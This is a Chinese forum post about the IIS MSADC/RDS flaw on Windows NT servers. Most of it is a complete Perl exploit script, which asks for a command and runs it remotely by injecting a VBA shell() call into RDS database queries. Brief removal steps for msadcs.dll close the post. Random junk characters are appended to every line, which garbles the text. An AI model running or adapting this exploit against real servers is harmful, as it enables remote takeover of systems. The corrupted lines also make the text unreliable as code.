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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Vt-V'`Y  
K)}Vr8,V  
涉及程序: # %'%LY=  
Microsoft NT server RRzLQ7J  
t~.^92]s|  
描述: bJkFCI/  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 rrq7UJ;  
k(v &+v  
详细: Do5{t'm3  
如果你没有时间读详细内容的话,就删除: vl?fCO  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 54/ZGaonz  
有关的安全问题就没有了。 j^eM i  
qk>M~,  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 t;:Yf  
/<dl"PWkJv  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 C;#gy-  
关于利用ODBC远程漏洞的描述,请参看: M'oQ<,yW-  
Xn5LrLM&  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c{39,oF  
]7RK/Zu i  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2vddx<&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp dj}P|v/;z  
)Y"t$Iw"  
这里不再论述。 #-{ljjMQI  
G^SDB!/@J  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 85Kf>z::c  
)bpdj,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset AgB$ w4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! r5+ MjR  
%o`Cp64`Q  
#qJ6iA6{  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +vPCr&40  
=#wE*6T9  
#!perl Ri}JM3\J  
# ;!OME*?m<  
# MSADC/RDS 'usage' (aka exploit) script V#c=O}  
# ;<%d^   
# by rain.forest.puppy PWyFys  
# ]eX(K5 A  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me rP/W,! 7:K  
# beta test and find errors! H>"P]Y)oX  
wy:euKB~   
use Socket; use Getopt::Std; 'b+ Tio  
getopts("e:vd:h:XR", \%args); `8TL*.9  
V;P*/ke  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Eh[NKgYL  
u/wWD@,  
if (!defined $args{h} && !defined $args{R}) { ZW 5FL-I  
print qq~ nE :Wl  
Usage: msadc.pl -h <host> { -d <delay> -X -v } GkKoc v  
-h <host> = host you want to scan (ip or domain) FY]Et= p  
-d <seconds> = delay between calls, default 1 second ~dLe9-_9  
-X = dump Index Server path table, if available db3.X~Cn#s  
-v = verbose ): r'IR  
-e = external dictionary file for step 5 -Byl~n3*D  
n:Dr< q .  
Or a -R will resume a command session zP/SDW   
s8k4e6ak  
~; exit;} .e}`n)z  
6c}nP[6|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; JqEo~]E]  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `[x'EJp#  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2#' "<n,G  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); y@Td]6|f  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ;@n/g U  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qVd s 2  
)Rj?\ZUR  
if (!defined $args{R}){ $ret = &has_msadc; '%a:L^a?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (D\`:1g  
("=24R=a  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Cio (Ptt:  
. "cmd /c "; Yof ]  
$in=<STDIN>; chomp $in;  AZ-JaE  
$command="cmd /c " . $in ; -or)NE  
'47E8PIJ|  
if (defined $args{R}) {&load; exit;} gpCWXz')i  
&@qB6!^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;3Q3!+%j  
&try_btcustmr; lnV!Xuf  
cQ0+kX<  
print "\nStep 2: Trying to make our own DSN..."; Tcq@Q$H  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; PW9tZx#  
lW]&a"1$  
print "\nStep 3: Trying known DSNs..."; %B| Ca&  
&known_dsn; <S0gIg`)  
'jKCAU5/0;  
print "\nStep 4: Trying known .mdbs..."; |;YDRI  
&known_mdb; "b`3   
e^hI[LbNC  
if (defined $args{e}){ I3Ad+]v  
print "\nStep 5: Trying dictionary of DSN names..."; jW}hLjlN  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } CR-2>,*a9  
F5\{`  
print "Sorry Charley...maybe next time?\n"; XZ/cREz^s  
exit; ^5-SL?E  
/)r[}C0   
############################################################################## (T",6xBSG  
ZrWA,~;  
sub sendraw { # ripped and modded from whisker FXid=&T@0D  
sleep($delay); # it's a DoS on the server! At least on mine... mEV@~){  
my ($pstr)=@_; >}86#^F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  j 2e|  
die("Socket problems\n"); P> 7PO~E.  
if(connect(S,pack "SnA4x8",2,80,$target)){ c2yZvi  
select(S); $|=1; Angt=q  
print $pstr; my @in=<S>; EsLtC5]  
select(STDOUT); close(S); VJtRL')  
return @in; Sqla+L*  
} else { die("Can't connect...\n"); }} {%X[Snv  
M|7{ZE`Y  
############################################################################## 2*zMLI0.  
nB%[\LtZ?  
sub make_header { # make the HTTP request >< Qp%yT  
my $msadc=<<EOT IpVtbDW  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 =Unu>p}2V  
User-Agent: ACTIVEDATA _147d5  
Host: $ip VQpwHzh  
Content-Length: $clen ;GZ'Rb  
Connection: Keep-Alive @DyMq3Gt?&  
t>"|~T$9  
ADCClientVersion:01.06 .kDJuJ^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 NHzVA*f  
1xsB@D  
--!ADM!ROX!YOUR!WORLD! T?D]]x  
Content-Type: application/x-varg EL9JM}%0v  
Content-Length: $reqlen &"X1w $  
gE6{R+sp  
EOT B)Dsen  
; $msadc=~s/\n/\r\n/g; (KT+7j0^  
return $msadc;} 6H|&HV(!R  
OC`Mzf%.  
############################################################################## CrX1qyR  
qkq^oHI  
sub make_req { # make the RDS request >+*lG>!z  
my ($switch, $p1, $p2)=@_; GUsJF;;V  
my $req=""; my $t1, $t2, $query, $dsn;  .+-7 'ux  
!Ee&e~"  
if ($switch==1){ # this is the btcustmr.mdb query D*)"?L G  
$query="Select * from Customers where City=" . make_shell(); (}CA?/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . "D ivsq^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 0y/P  
iM{cr&0  
elsif ($switch==2){ # this is general make table query <;NxmO<%\  
$query="create table AZZ (B int, C varchar(10))"; ^~m}(6  
$dsn="$p1";} ;7g~4Uv4}  
<J!?eH9f  
elsif ($switch==3){ # this is general exploit table query r6}-EYq=  
$query="select * from AZZ where C=" . make_shell(); 4pFoSs?\  
$dsn="$p1";} "%+9p6/  
6+yA4pRSd  
elsif ($switch==4){ # attempt to hork file info from index server R%;dt<Dh  
$query="select path from scope()"; 8jgamG  
$dsn="Provider=MSIDXS;";} <GoZ>  
tnw6[U!rh=  
elsif ($switch==5){ # bad query f_ > lz  
$query="select"; c)17[9"  
$dsn="$p1";} p 4lB#  
`AhTER  
$t1= make_unicode($query); 4J2C# Cs  
$t2= make_unicode($dsn); O4,? C)  
$req = "\x02\x00\x03\x00"; uq@_DPA7  
$req.= "\x08\x00" . pack ("S1", length($t1)); HQrx9CXE  
$req.= "\x00\x00" . $t1 ; _MUSXB'  
$req.= "\x08\x00" . pack ("S1", length($t2)); Qx77%L4  
$req.= "\x00\x00" . $t2 ; vi0nJ -Xg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; qLm g18  
return $req;} wmFS+F4`2  
2sT\+C&H  
############################################################################## @5TJ]=  
2Xp?O+b#"O  
sub make_shell { # this makes the shell() statement 9 H~OC8R:  
return "'|shell(\"$command\")|'";} 6?3\P>`3Y  
;d||u  
############################################################################## (Bu-o((N@0  
7gT^ZL  
sub make_unicode { # quick little function to convert to unicode stlkt>9  
my ($in)=@_; my $out; )dI  `yf  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6ieP` bct  
return $out;}  76EMS?e  
g}*F"k4j  
############################################################################## GhY MO6Q4  
l%MIna/Tp  
sub rdo_success { # checks for RDO return success (this is kludge) R"[U<^  
my (@in) = @_; my $base=content_start(@in); [!b=A:@  
if($in[$base]=~/multipart\/mixed/){ s;YuB#Z  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} v,,Dz8!Ty  
return 0;} %weG}gCM  
=BBDh`$R  
##############################################################################  8=j_~&*  
R}\n @X*  
sub make_dsn { # this makes a DSN for us z4*`K4W  
my @drives=("c","d","e","f"); k54Vh=p  
print "\nMaking DSN: "; el^WBC3  
foreach $drive (@drives) { dL>8|  
print "$drive: "; B}Sl1)E  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . VY'1 $  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" z<n&P7k5j  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "TePO7^m  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3X}>_tj  
return 0 if $2 eq "404"; # not found/doesn't exist g;G.uF&  
if($2 eq "200") { ,$; pLjo6  
foreach $line (@results) { dO\irv)  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %jmL#IN)  
} return 0;} >^%TY^7n  
dzyp:\&9  
############################################################################## %PxJnMb?  
@wOX</_g  
sub verify_exists { 5j-? Uf  
my ($page)=@_; bupDnTF  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :LBRyBV  
return $results[0];} i?CXDuL  
}`$Sr&n 1  
############################################################################## .wz.Jr`{  
S(h+,+289  
sub try_btcustmr { Cw&U*H  
my @drives=("c","d","e","f"); Tjza3M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8yn}|Y9Fu  
=$awUy  
foreach $dir (@dirs) { g:CMIe4  
print "$dir -> "; # fun status so you can see progress RS[>7-9  
foreach $drive (@drives) { X\'+);Z  
print "$drive: "; # ditto Kq2,J&Ca3  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; cAc>p-y%  
$reqlenlen=length( "$reqlen" ); <46fk*  
$clen= 206 + $reqlenlen + $reqlen; V<G=pPC'H  
U<mFwJ C]  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x6B_5eF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} h[I~D`q)v  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 6$*ZH *  
v6`TbIq%  
############################################################################## #&ZwQw  
([L5i&DT  
sub odbc_error { 0'4V*Y  
my (@in)=@_; my $base; Uk|(VR9  
my $base = content_start(@in); \dw*yZ^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this QIZbAnn_  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D "9Hv3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; gl~>MasV&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mu}T,+9\  
return $in[$base+4].$in[$base+5].$in[$base+6];} t^-yK;`?q:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "]0sR  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . BX=YS)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ^+zhzfJ  
6+Wkcr h  
############################################################################## ]Sgc 42hk  
;;g'C*_  
sub verbose { j^'op|l  
my ($in)=@_; f|X./J4Bl  
return if !$verbose; ?oO<PR}y  
print STDOUT "\n$in\n";} n; fUwon  
sX$EdIq  
############################################################################## _MC\\u/C/  
2dUVHu= +  
sub save { 'CSIC8M<j  
my ($p1, $p2, $p3, $p4)=@_; ({_Dg43O'[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?E:L6,a  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; C|W\qXCqu  
close OUT;} ^%pM$3ov  
*iVCHQ~  
############################################################################## OfSHZ;,  
<"Cacf g  
sub load { WYklS<B[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]5}C@W@_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 46cd5SLK  
@p=<IN>; close(IN); DYKJVn7w  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 'Bv)UfZ  
$target= inet_aton($ip) || die("inet_aton problems"); \E3e vU  
print "Resuming to $ip ..."; !9knF t43  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; k{q4Zz[  
if($p[1]==1) { <i(<|/ $  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ) ]x/3J@  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; xVn"xk  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); qvH7otA  
if (rdo_success(@results)){print "Success!\n";} U*s QYt<?g  
else { print "failed\n"; verbose(odbc_error(@results));}} 9OnH3  
elsif ($p[1]==3){ bijE]:<AE7  
if(run_query("$p[3]")){ ~@wM[}ThP$  
print "Success!\n";} else { print "failed\n"; }} g:sn/Zug]  
elsif ($p[1]==4){ 6*n<emP  
if(run_query($drvst . "$p[3]")){ SuU_psF  
print "Success!\n"; } else { print "failed\n"; }} z rg#BXj7  
exit;} _b8?_Zq  
8I`t`C/4  
############################################################################## \Gk4J<  
E8=8OX/{Y  
sub create_table { r)G^V&96  
my ($in)=@_; TsB"<6@!AA  
$reqlen=length( make_req(2,$in,"") ) - 28; "/&_B  
$reqlenlen=length( "$reqlen" ); ~Yw`w 2  
$clen= 206 + $reqlenlen + $reqlen; ZFAi9M  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,@1.&!F4it  
return 1 if rdo_success(@results); "+6:vhP5  
my $temp= odbc_error(@results); verbose($temp); W+C@(}pt  
return 1 if $temp=~/Table 'AZZ' already exists/; ]'2;6%. 4  
return 0;} SCZ6:P"$qX  
VdZmrq;?/  
############################################################################## 8> -3G  
o"a~  
sub known_dsn { ?zD? -  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {T0f]]}Q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ?!:$Z4G  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",  '9Hah  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D~i m1h;>  
{{WA=\N8C  
foreach $dSn (@dsns) { EGZ F@#N  
print "."; 5D32d1A  
next if (!is_access("DSN=$dSn")); nCz_gYcIx  
if(create_table("DSN=$dSn")){ IP 9{vk  
print "$dSn successful\n"; .%(Q*ioDh  
if(run_query("DSN=$dSn")){ "XEK oeG{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1UHStR  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 61W ms@D%  
4t0B_o"  
############################################################################## Sf2pU!5n^  
>(} I7  
sub is_access { ^MUSq(  
my ($in)=@_; _'yN4>=6u  
$reqlen=length( make_req(5,$in,"") ) - 28; RvQl{aL  
$reqlenlen=length( "$reqlen" ); 2$g3ABfV  
$clen= 206 + $reqlenlen + $reqlen; "AzA|zk')"  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0?tn.<'B8T  
my $temp= odbc_error(@results); 7eh<>X!TX  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4\.1phe$a  
return 0;} 4nfpPN t  
5gPcsn"D  
############################################################################## fJb<<6C  
Nl3@i`;  
sub run_query { LvsNU0x  
my ($in)=@_; =X0"!y"  
$reqlen=length( make_req(3,$in,"") ) - 28; /~49.}yt  
$reqlenlen=length( "$reqlen" ); q^e4  
$clen= 206 + $reqlenlen + $reqlen; 9D2}heTN  
my @results=sendraw(make_header() . make_req(3,$in,"")); Tq r]5  
return 1 if rdo_success(@results); )Bl0 W  
my $temp= odbc_error(@results); verbose($temp); b0A*zQA_)  
return 0;} |-W7n'n  
OKo39 A\fu  
############################################################################## [q/tKdo@  
\Qh{uk[  
sub known_mdb {  f:_\S  
my @drives=("c","d","e","f","g"); {g:I5 A#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B}%B4&Ij  
my $dir, $drive, $mdb; =Mb1)^m  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; bvf}r ,`Q7  
dA`.  
# this is sparse, because I don't know of many D]H@Sx  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ^=H. .pr  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", SxHj3,`#C  
"\\system32\\certmdb.mdb", {c'2{`px 5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% CMm:Vea  
kIb)I(n  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", NDJIaX:]  
"\\cfusion\\cfapps\\forums\\forums_.mdb", iBq|]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", pohA??t2:  
"\\cfusion\\cfapps\\security\\realm_.mdb", SD"'  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7>Af"1$g  
"\\cfusion\\database\\cfexamples.mdb", x*G-?Xza)  
"\\cfusion\\database\\cfsnippets.mdb", CLb~6LD  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", GWNLET  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", { *"I4  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {xw"t9(fE  
"\\cfusion\\database\\smpolicy.mdb", ]}3AP!:  
"\\cfusion\\database\cypress.mdb", 9!u=q5+E  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {Lex((  
"\\website\\cgi-win\\dbsample.mdb", tFY;q##z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ag3[Nu1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ,X[l C\1a  
); #these are just Z'P>sV  
foreach $drive (@drives) { {&2a H> V/  
foreach $dir (@dirs){ /kl41gx  
foreach $mdb (@sysmdbs) { gD"]uj<  
print "."; R. sRH/6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {9tKq--@E9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 2;Ij~~  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ F__j]}?  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 7q>Y)*V  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Xndgs}zz  
mVg$z  
foreach $drive (@drives) { _I$\O5  
foreach $mdb (@mdbs) { ^ |k 7g  
print "."; wj-=#gyAoo  
if(create_table($drv . $drive . $dir . $mdb)){ tgy= .o]  
print "\n" . $drive . $dir . $mdb . " successful\n"; @a08*"lbp  
if(run_query($drv . $drive . $dir . $mdb)){ 2yu\f u  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; _vQtV]  
} else { print "Something's borked. Use verbose next time\n"; }}}} #1INOR9  
} 5B&#Sh`r  
uM!$`JN  
############################################################################## wA+QUN3#n  
39xAh*}G]  
sub hork_idx { )ZU)$dJ>V  
print "\nAttempting to dump Index Server tables...\n"; K3uNR w  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #kO.'oIl  
$reqlen=length( make_req(4,"","") ) - 28; z=}@aX[  
$reqlenlen=length( "$reqlen" ); BT|5"b}  
$clen= 206 + $reqlenlen + $reqlen; I7b_dJD;*  
my @results=sendraw2(make_header() . make_req(4,"","")); 9] i$`y  
if (rdo_success(@results)){ K.y2 $b/  
my $max=@results; my $c; my %d; C+, JLK  
for($c=19; $c<$max; $c++){ pvCf4pf~  
$results[$c]=~s/\x00//g; T6gugDQ~.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }:5_vH0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Pc+8CuN?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; :[;]6;  
$d{"$1$2"}="";} 1o&] =(  
foreach $c (keys %d){ print "$c\n"; } IFrq\H0  
} else {print "Index server doesn't seem to be installed.\n"; }} %\5 wHT+)  
 Q.3oDq  
############################################################################## Q&zEa0^rG6  
gnW]5#c@  
sub dsn_dict { c-|~ABtEpX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8VbHZ9Q  
while(<IN>){ AS 5\X.%L*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; X2X.&^  
next if (!is_access("DSN=$dSn")); 5H (CP  
if(create_table("DSN=$dSn")){ dKs^Dq  
print "$dSn successful\n"; C$9+p@G6  
if(run_query("DSN=$dSn")){ ,QDS_u$xi&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r-27AJu  
print "Something's borked. Use verbose next time\n";}}} LaI(  
print "\n"; close(IN);} Pm2T!0  
.T*K4m{b0  
############################################################################## :6~DOvY  
I%.96V  
sub sendraw2 { # ripped and modded from whisker ~hubh!d=  
sleep($delay); # it's a DoS on the server! At least on mine... OQ[E-%v1 R  
my ($pstr)=@_; t7A '  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || KC+C?]~M  
die("Socket problems\n"); qTbY'V5A  
if(connect(S,pack "SnA4x8",2,80,$target)){ K"p$ga{  
print "Connected. Getting data"; >Oary  
open(OUT,">raw.out"); my @in; c,cc avv{I  
select(S); $|=1; print $pstr; t`PA85.|d  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ']nB_x7  
close(OUT); select(STDOUT); close(S); return @in; G#V}9l8 Q  
} else { die("Can't connect...\n"); }} c\X0*GX  
'dE G\?v9  
############################################################################## q+A^JjzT  
?vHow$  
sub content_start { # this will take in the server headers 4>q^W$  
my (@in)=@_; my $c; PV_E3,RY  
for ($c=1;$c<500;$c++) { q1:Y]Rbe  
if($in[$c] =~/^\x0d\x0a/){ %Pr P CT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } s[ {L.9Y  
else { return $c+1; }}} =5NM =K  
return -1;} # it should never get here actually R|7yhsJq,  
$ O1w 6\}_  
############################################################################## I\NiA>c  
Q.5C$I  
sub funky { h'{}eYb+   
my (@in)=@_; my $error=odbc_error(@in); +&LzLF.bK  
if($error=~/ADO could not find the specified provider/){ pEUbP,3M:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; cR; zNS  
exit;} nWTo$*>W  
if($error=~/A Handler is required/){ HOWm""IkB  
print "\nServer has custom handler filters (they most likely are patched)\n"; S@AHI!"h=V  
exit;} [ \I&/?On  
if($error=~/specified Handler has denied Access/){ ,vfi]_PK  
print "\nServer has custom handler filters (they most likely are patched)\n"; <E2+P,Lgw  
exit;}} 4@,d{qp~  
Y{].%xM5  
############################################################################## {`Ekv/XWa  
yY,O=yOjq  
sub has_msadc { pdcP;.   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); H*#L~!]  
my $base=content_start(@results); @"M%ZnFu  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :HSqa9>wa  
return 0;} ~vD7BO`  
sE*A,z?  
######################## EN lqoj1  
PJC[#>}  
!Vtt.j &4  
解决方案: "NUl7ce.R  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll f/spJ<B).4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 't2dP,u<-  
IUX~dO  
拿出来充数 哈哈
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